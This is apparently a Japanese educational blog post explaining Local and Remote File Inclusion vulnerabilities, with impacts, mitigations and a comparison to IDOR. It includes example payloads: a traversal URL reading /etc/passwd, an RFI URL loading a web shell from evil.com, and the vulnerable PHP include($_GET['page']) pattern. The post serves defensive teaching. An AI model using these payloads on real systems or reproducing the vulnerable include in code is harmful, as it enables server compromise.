ペネトレ

File Inclusionとは

📂 File Inclusion とは?

File Inclusion(ファイル・インクルージョン) は、

本来読み込むべきでないファイルを、攻撃者に読み込まれてしまう脆弱性

のこと。

主に2種類あります。

  • LFI(Local File Inclusion)
  • RFI(Remote File Inclusion)

🧠 かんたんに言うと

本来は:

/index.php?page=home.php

のようにページを切り替える仕組み。

でも攻撃者が:

/index.php?page=../../etc/passwd

のように改ざんすると…

👉 サーバー内部のファイルが読めてしまう。

これが LFI(ローカルファイルインクルージョン)


🌍 RFI(リモート版)

さらに危険なのが:

/index.php?page=http://evil.com/shell.php

👉 外部の悪意あるコードを読み込ませる

これが RFI(リモートファイルインクルージョン)


💥 何が起きる?

  • サーバー内の機密ファイル閲覧
  • パスワード情報流出
  • Webシェル設置
  • サーバー乗っ取り

🛡 なぜ起きる?

コード例(PHP):

include($_GET['page']);

↑ ユーザー入力をそのまま使っているのが原因。


🔐 対策

  1. ユーザー入力を直接 include しない
  2. 読み込みファイルをホワイトリスト管理
  3. ディレクトリトラバーサル対策(../除去)
  4. RFIは allow_url_include=Off

🎯 一言まとめ

File Inclusion = 「読み込むファイルを外部から操作できるバグ」


🔥 IDORとの違い

IDORFile Inclusion
何を悪用?IDファイルパス
主な被害他人のデータ閲覧サーバー内部ファイル閲覧・コード実行
危険度非常に高(RCEになることも)

-ペネトレ
-